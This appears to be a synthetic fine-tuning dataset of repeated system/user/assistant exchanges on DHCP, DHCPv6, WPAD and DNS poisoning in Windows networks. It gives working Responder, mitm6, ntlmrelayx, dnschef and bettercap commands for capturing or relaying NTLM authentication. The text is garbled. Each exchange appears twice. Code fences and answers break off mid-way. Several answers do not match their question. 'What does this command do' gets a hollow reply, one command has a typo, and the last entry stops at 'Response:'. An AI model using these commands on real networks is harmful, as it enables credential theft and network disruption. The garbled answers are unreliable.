[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through DHCP poisoning - Theory

[Assistant]
When a workstation reboots or plugs into a network, a broadcast DHCP request is emitted. It's goal is to ask for network settings like an IPv4 address.

> Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. _(__Laurent Gaffié__)_

DHCP's option 252) provides Windows machines with a WPAD configuration. An attacker able to answer broadcast DHCP queries faster than the legit DHCP server can inject any network setting on the requesting client.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
When a workstation reboots or plugs into a network, a broadcast DHCP request is emitted. It's goal is to ask for network settings like an IPv4 address.

> Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. _(__Laurent Gaffié__)_

DHCP's option 252) provides Windows machines with a WPAD configuration. An attacker able to answer broadcast DHCP queries faster than the legit DHCP server can inject any network setting on the requesting client.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about DHCP poisoning - Practice?

[Assistant]
Responder (Python) can be used to operate DHCP poisoning in the following manner

* race against the legit DHCP server to answer DHCP REQUEST messages
* sent a DHCP ACK response with a rogue WPAD server address in option 252 in the network parameters, with a short lease (10 seconds). Responder can also be used to attempt at injecting a DNS server instead.
* wait the lease to expire so that the poisoned client asks for a new lease
* let the client obtain a legitimate lease from the real DHCP server, allowing the client to obtain the right network settings and have connectivity
* the injected WPAD server address will stay until the client reboots. If the injected field was a DNS server, it will be overwritten with the new legit DHCP lease.
* with the injected WPAD server address, the Windows client will try to obtain the wpad.dat file on the rogue WPAD. Responder will then require the client to authenticate.

The attack can be started with the -d/--DHCP (WPAD injection) argument. By default, a rogue WPAD server will be injected in the configuration. If the additional-D/--DHCP-DNS argument is set, a rogue DNS server address will be injected in the configuration instead of a WPAD.

Additional arguments and options should be used when doing DHCP poisoning with the -d/--DHCP argument. Those options can also be used along -D/--DHCP-DNS since the WPAD DNS entry will be one of the first queries by the poisoned machine.

* The -w/--wpad option to start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients (i.e. WPAD spoofing)
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about DHCP poisoning - Practice?

Response:
Responder (Python) can be used to operate DHCP poisoning in the following manner

* race against the legit DHCP server to answer DHCP REQUEST messages
* sent a DHCP ACK response with a rogue WPAD server address in option 252 in the network parameters, with a short lease (10 seconds). Responder can also be used to attempt at injecting a DNS server instead.
* wait the lease to expire so that the poisoned client asks for a new lease
* let the client obtain a legitimate lease from the real DHCP server, allowing the client to obtain the right network settings and have connectivity
* the injected WPAD server address will stay until the client reboots. If the injected field was a DNS server, it will be overwritten with the new legit DHCP lease.
* with the injected WPAD server address, the Windows client will try to obtain the wpad.dat file on the rogue WPAD. Responder will then require the client to authenticate.

The attack can be started with the -d/--DHCP (WPAD injection) argument. By default, a rogue WPAD server will be injected in the configuration. If the additional-D/--DHCP-DNS argument is set, a rogue DNS server address will be injected in the configuration instead of a WPAD.

Additional arguments and options should be used when doing DHCP poisoning with the -d/--DHCP argument. Those options can also be used along -D/--DHCP-DNS since the WPAD DNS entry will be one of the first queries by the poisoned machine.

* The -w/--wpad option to start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients (i.e. WPAD spoofing)
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform DHCP poisoning - Practice?

[Assistant]
Responder (Python) can be used to operate DHCP poisoning in the following manner

* race against the legit DHCP server to answer DHCP REQUEST messages
* sent a DHCP ACK response with a rogue WPAD server address in option 252 in the network parameters, with a short lease (10 seconds). Responder can also be used to attempt at injecting a DNS server instead.
* wait the lease to expire so that the poisoned client asks for a new lease
* let the client obtain a legitimate lease from the real DHCP server, allowing the client to obtain the right network settings and have connectivity
* the injected WPAD server address will stay until the client reboots. If the injected field was a DNS server, it will be overwritten with the new legit DHCP lease.
* with the injected WPAD server address, the Windows client will try to obtain the wpad.dat file on the rogue WPAD. Responder will then require the client to authenticate.

The attack can be started with the -d/--DHCP (WPAD injection) argument. By default, a rogue WPAD server will be injected in the configuration. If the additional-D/--DHCP-DNS argument is set, a rogue DNS server address will be injected in the configuration instead of a WPAD.

Additional arguments and options should be used when doing DHCP poisoning with the -d/--DHCP argument. Those options can also be used along -D/--DHCP-DNS since the WPAD DNS entry will be one of the first queries by the poisoned machine.

* The -w/--wpad option to start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients (i.e. WPAD spoofing)
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform DHCP poisoning - Practice?

Response:
Responder (Python) can be used to operate DHCP poisoning in the following manner

* race against the legit DHCP server to answer DHCP REQUEST messages
* sent a DHCP ACK response with a rogue WPAD server address in option 252 in the network parameters, with a short lease (10 seconds). Responder can also be used to attempt at injecting a DNS server instead.
* wait the lease to expire so that the poisoned client asks for a new lease
* let the client obtain a legitimate lease from the real DHCP server, allowing the client to obtain the right network settings and have connectivity
* the injected WPAD server address will stay until the client reboots. If the injected field was a DNS server, it will be overwritten with the new legit DHCP lease.
* with the injected WPAD server address, the Windows client will try to obtain the wpad.dat file on the rogue WPAD. Responder will then require the client to authenticate.

The attack can be started with the -d/--DHCP (WPAD injection) argument. By default, a rogue WPAD server will be injected in the configuration. If the additional-D/--DHCP-DNS argument is set, a rogue DNS server address will be injected in the configuration instead of a WPAD.

Additional arguments and options should be used when doing DHCP poisoning with the -d/--DHCP argument. Those options can also be used along -D/--DHCP-DNS since the WPAD DNS entry will be one of the first queries by the poisoned machine.

* The -w/--wpad option to start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients (i.e. WPAD spoofing)
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe DNS injection in the context of penetration testing

[Assistant]
responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth
responder -I "eth0" -wPdD

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe DNS injection in the context of penetration testing

Response:
responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth
responder -I "eth0" -wPdD


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for DNS injection

[Assistant]
responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth
responder -I "eth0" -wPdD

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for DNS injection

Response:
responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth
responder -I "eth0" -wPdD


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WPAD injection

[Assistant]
responder --interface "eth0" --DHCP --wpad --ProxyAuth
responder -I "eth0" -wPd
``

> [!TIP]
> The proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with the command line above (with --wredir and --ProxyAuth)
> * or forced and relayed with ntlmrelayx (by using the --http-port 3128 argument
>
> `bash
> responder --interface "eth0" --DHCP --DHCP-DNS --wpad
> ntlmrelayx -t $target --http-port 3128
> ``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
responder --interface "eth0" --DHCP --wpad --ProxyAuth
responder -I "eth0" -wPd
``

> [!TIP]
> The proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with the command line above (with --wredir and --ProxyAuth)
> * or forced and relayed with ntlmrelayx (by using the --http-port 3128 argument
>
> `bash
> responder --interface "eth0" --DHCP --DHCP-DNS --wpad
> ntlmrelayx -t $target --http-port 3128
> ``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for WPAD injection?

[Assistant]
responder --interface "eth0" --DHCP --wpad --ProxyAuth
responder -I "eth0" -wPd
``

> [!TIP]
> The proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with the command line above (with --wredir and --ProxyAuth)
> * or forced and relayed with ntlmrelayx (by using the --http-port 3128 argument
>
> `bash
> responder --interface "eth0" --DHCP --DHCP-DNS --wpad
> ntlmrelayx -t $target --http-port 3128
> ``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
responder --interface "eth0" --DHCP --wpad --ProxyAuth
responder -I "eth0" -wPd
``

> [!TIP]
> The proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with the command line above (with --wredir and --ProxyAuth)
> * or forced and relayed with ntlmrelayx (by using the --http-port 3128 argument
>
> `bash
> responder --interface "eth0" --DHCP --DHCP-DNS --wpad
> ntlmrelayx -t $target --http-port 3128
> ``


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about DHCPv6 spoofing - DHCPv6 spoofing and poisoning?

[Assistant]
By default on Windows environments, IPv6 is enabled and has priority over IPv4. Usually, IPv6 is neither used nor configured. When a Windows machine boots or gets plugged in the network, it asks for an IPv6 configuration through a DHCPv6 request. Since DHCPv6 works in multicast, attackers on the same network can answer the DHCPv6 queries and provide the clients with a specific IP config. The IP config will include a rogue DNS server address (actually, for mitm6, it will include two addresses, one IPv4 and one IPv6). This technique is called DHCPv6 spoofing.

It is worth to note that DHCPv6 spoofing can be particularly useful for carrying Kerberos relay attacks.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about DHCPv6 spoofing - DHCPv6 spoofing and poisoning?

Response:
By default on Windows environments, IPv6 is enabled and has priority over IPv4. Usually, IPv6 is neither used nor configured. When a Windows machine boots or gets plugged in the network, it asks for an IPv6 configuration through a DHCPv6 request. Since DHCPv6 works in multicast, attackers on the same network can answer the DHCPv6 queries and provide the clients with a specific IP config. The IP config will include a rogue DNS server address (actually, for mitm6, it will include two addresses, one IPv4 and one IPv6). This technique is called DHCPv6 spoofing.

It is worth to note that DHCPv6 spoofing can be particularly useful for carrying Kerberos relay attacks.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on DHCPv6 spoofing - DHCPv6 spoofing and poisoning

[Assistant]
By default on Windows environments, IPv6 is enabled and has priority over IPv4. Usually, IPv6 is neither used nor configured. When a Windows machine boots or gets plugged in the network, it asks for an IPv6 configuration through a DHCPv6 request. Since DHCPv6 works in multicast, attackers on the same network can answer the DHCPv6 queries and provide the clients with a specific IP config. The IP config will include a rogue DNS server address (actually, for mitm6, it will include two addresses, one IPv4 and one IPv6). This technique is called DHCPv6 spoofing.

It is worth to note that DHCPv6 spoofing can be particularly useful for carrying Kerberos relay attacks.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on DHCPv6 spoofing - DHCPv6 spoofing and poisoning

Response:
By default on Windows environments, IPv6 is enabled and has priority over IPv4. Usually, IPv6 is neither used nor configured. When a Windows machine boots or gets plugged in the network, it asks for an IPv6 configuration through a DHCPv6 request. Since DHCPv6 works in multicast, attackers on the same network can answer the DHCPv6 queries and provide the clients with a specific IP config. The IP config will include a rogue DNS server address (actually, for mitm6, it will include two addresses, one IPv4 and one IPv6). This technique is called DHCPv6 spoofing.

It is worth to note that DHCPv6 spoofing can be particularly useful for carrying Kerberos relay attacks.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain DHCPv6 spoofing - DNS spoofing

[Assistant] Attackers can then proceed to DNS spoofing. Once the clients DNS servers are set through the fake IP config pushed through DHCPv6 spoofing, each client will query the attacker's server for every domain name resolution. The attacker's server will redirect the clients to other rogue servers that will be able to capture or relay authentications.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Attackers can then proceed to DNS spoofing. Once the clients DNS servers are set through the fake IP config pushed through DHCPv6 spoofing, each client will query the attacker's server for every domain name resolution. The attacker's server will redirect the clients to other rogue servers that will be able to capture or relay authentications.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for DHCPv6 spoofing - DNS spoofing?

[Assistant] Attackers can then proceed to DNS spoofing. Once the clients DNS servers are set through the fake IP config pushed through DHCPv6 spoofing, each client will query the attacker's server for every domain name resolution. The attacker's server will redirect the clients to other rogue servers that will be able to capture or relay authentications.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for DHCPv6 spoofing - DNS spoofing?

Response: Attackers can then proceed to DNS spoofing. Once the clients DNS servers are set through the fake IP config pushed through DHCPv6 spoofing, each client will query the attacker's server for every domain name resolution. The attacker's server will redirect the clients to other rogue servers that will be able to capture or relay authentications.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain DHCPv6 spoofing - Practice

[Assistant]
> [!WARNING]
> Combining DHCPv6 spoofing with DNS spoofing can cause temporary but severe disruption in the network. It is highly recommended to target specific addresses and machines.

mitm6 (Python) is an all-in-one tool for DHCPv6 spoofing + DNS poisoning. The following command can be run to make mitm6 redirect internal traffic only.

``bash
mitm6 --interface eth0 --domain $DOMAIN_FQDN
`

bettercap (Go) can also be used for DHCPv6 spoofing and DNS spoofing.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!WARNING]
> Combining DHCPv6 spoofing with DNS spoofing can cause temporary but severe disruption in the network. It is highly recommended to target specific addresses and machines.

mitm6 (Python) is an all-in-one tool for DHCPv6 spoofing + DNS poisoning. The following command can be run to make mitm6 redirect internal traffic only.

``bash
mitm6 --interface eth0 --domain $DOMAIN_FQDN
`

bettercap (Go) can also be used for DHCPv6 spoofing and DNS spoofing.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for DHCPv6 spoofing - Practice?

[Assistant]
> [!WARNING]
> Combining DHCPv6 spoofing with DNS spoofing can cause temporary but severe disruption in the network. It is highly recommended to target specific addresses and machines.

mitm6 (Python) is an all-in-one tool for DHCPv6 spoofing + DNS poisoning. The following command can be run to make mitm6 redirect internal traffic only.

``bash
mitm6 --interface eth0 --domain $DOMAIN_FQDN
`

bettercap (Go) can also be used for DHCPv6 spoofing and DNS spoofing.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for DHCPv6 spoofing - Practice?

Response:
> [!WARNING]
> Combining DHCPv6 spoofing with DNS spoofing can cause temporary but severe disruption in the network. It is highly recommended to target specific addresses and machines.

mitm6 (Python) is an all-in-one tool for DHCPv6 spoofing + DNS poisoning. The following command can be run to make mitm6 redirect internal traffic only.

``bash
mitm6 --interface eth0 --domain $DOMAIN_FQDN
`

bettercap (Go) can also be used for DHCPv6 spoofing and DNS spoofing.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the mitm6 command to dhcpv6 spoofing - practice

[Assistant] mitm6 --interface eth0 --domain $DOMAIN_FQDN

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the mitm6 command to dhcpv6 spoofing - practice

Response: mitm6 --interface eth0 --domain $DOMAIN_FQDN


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform DHCPv6 spoofing - Practice?

[Assistant] mitm6 --interface eth0 --domain $DOMAIN_FQDN

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform DHCPv6 spoofing - Practice?

Response: mitm6 --interface eth0 --domain $DOMAIN_FQDN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `mitm6 --interface eth0 --domain $DOMAIN_FQDN`?

[Assistant] This command is used for dhcpv6 spoofing - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `mitm6 --interface eth0 --domain $DOMAIN_FQDN`?

Response: This command is used for dhcpv6 spoofing - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Configure and start DHCPv6 spoofing

[Assistant]
set dhcp6.spoof.domains $DOMAIN_FQDN
dhcp6.spoof on

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Configure and start DHCPv6 spoofing

Response:
set dhcp6.spoof.domains $DOMAIN_FQDN
dhcp6.spoof on


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Configure and start DHCPv6 spoofing

[Assistant]
set dhcp6.spoof.domains $DOMAIN_FQDN
dhcp6.spoof on

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Configure and start DHCPv6 spoofing

Response:
set dhcp6.spoof.domains $DOMAIN_FQDN
dhcp6.spoof on


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Configure and DNS DHCPv6 spoofing in the context of penetration testing

[Assistant]
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoot.all true
dns.spoof on
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Configure and DNS DHCPv6 spoofing in the context of penetration testing

Response:
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoot.all true
dns.spoof on
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Configure and DNS DHCPv6 spoofing?

[Assistant]
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoot.all true
dns.spoof on
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Configure and DNS DHCPv6 spoofing?

Response:
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoot.all true
dns.spoof on
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about DNS spoofing - Theory

[Assistant] DNS is not multicast or broadcast like LLMNR, NBT-NS or mDNS. In order to answer DNS requests, attacker first need to receive them. For instance, this can be achieved with ARP spoofing or DHCPv6 spoofing. DNS spoofing is basically setting up a DNS server and answering DNS queries obtained through man-in-the-middle technique.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: DNS is not multicast or broadcast like LLMNR, NBT-NS or mDNS. In order to answer DNS requests, attacker first need to receive them. For instance, this can be achieved with ARP spoofing or DHCPv6 spoofing. DNS spoofing is basically setting up a DNS server and answering DNS queries obtained through man-in-the-middle technique.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do DNS spoofing - Theory

[Assistant] DNS is not multicast or broadcast like LLMNR, NBT-NS or mDNS. In order to answer DNS requests, attacker first need to receive them. For instance, this can be achieved with ARP spoofing or DHCPv6 spoofing. DNS spoofing is basically setting up a DNS server and answering DNS queries obtained through man-in-the-middle technique.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: DNS is not multicast or broadcast like LLMNR, NBT-NS or mDNS. In order to answer DNS requests, attacker first need to receive them. For instance, this can be achieved with ARP spoofing or DHCPv6 spoofing. DNS spoofing is basically setting up a DNS server and answering DNS queries obtained through man-in-the-middle technique.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of DNS spoofing - Practice

[Assistant]
::: tabs

=== Responder

Responder's (Python) DNS server feature can be used to answer DNS queries.

``bash
responder --interface "eth0"
responder -I "eth0"
`

=== dnschef

dnschef (Python) can be used as a DNS server.

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
`

=== bettercap

In order to spoof DNS requests, bettercap (Go) can be used. This tool can also be used for the first step of ARP spoofing or DHCPv6 spoofing.

`bash
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of DNS spoofing - Practice

Response:
::: tabs

=== Responder

Responder's (Python) DNS server feature can be used to answer DNS queries.

``bash
responder --interface "eth0"
responder -I "eth0"
`

=== dnschef

dnschef (Python) can be used as a DNS server.

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
`

=== bettercap

In order to spoof DNS requests, bettercap (Go) can be used. This tool can also be used for the first step of ARP spoofing or DHCPv6 spoofing.

`bash
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out DNS spoofing - Practice during a pentest?

[Assistant]
::: tabs

=== Responder

Responder's (Python) DNS server feature can be used to answer DNS queries.

``bash
responder --interface "eth0"
responder -I "eth0"
`

=== dnschef

dnschef (Python) can be used as a DNS server.

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
`

=== bettercap

In order to spoof DNS requests, bettercap (Go) can be used. This tool can also be used for the first step of ARP spoofing or DHCPv6 spoofing.

`bash
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out DNS spoofing - Practice during a pentest?

Response:
::: tabs

=== Responder

Responder's (Python) DNS server feature can be used to answer DNS queries.

``bash
responder --interface "eth0"
responder -I "eth0"
`

=== dnschef

dnschef (Python) can be used as a DNS server.

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
`

=== bettercap

In order to spoof DNS requests, bettercap (Go) can be used. This tool can also be used for the first step of ARP spoofing or DHCPv6 spoofing.

`bash
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the responder command for dns spoofing - practice

[Assistant]
responder --interface "eth0"
responder -I "eth0"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the responder command for dns spoofing - practice

Response:
responder --interface "eth0"
responder -I "eth0"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute DNS spoofing - Practice?

[Assistant]
responder --interface "eth0"
responder -I "eth0"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
responder --interface "eth0"
responder -I "eth0"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `responder --interface "eth0"`?

[Assistant] This command is used for dns spoofing - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `responder --interface "eth0"`?

Response: This command is used for dns spoofing - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the dnschef syntax for dns spoofing - practice?

[Assistant] dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the dnschef syntax for dns spoofing - practice?

Response: dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out DNS spoofing - Practice during a pentest?

[Assistant] dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log`?

[Assistant] This command is used for dns spoofing - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log`?

Response: This command is used for dns spoofing - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the set command for dns spoofing - practice

[Assistant]
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the set command for dns spoofing - practice

Response:
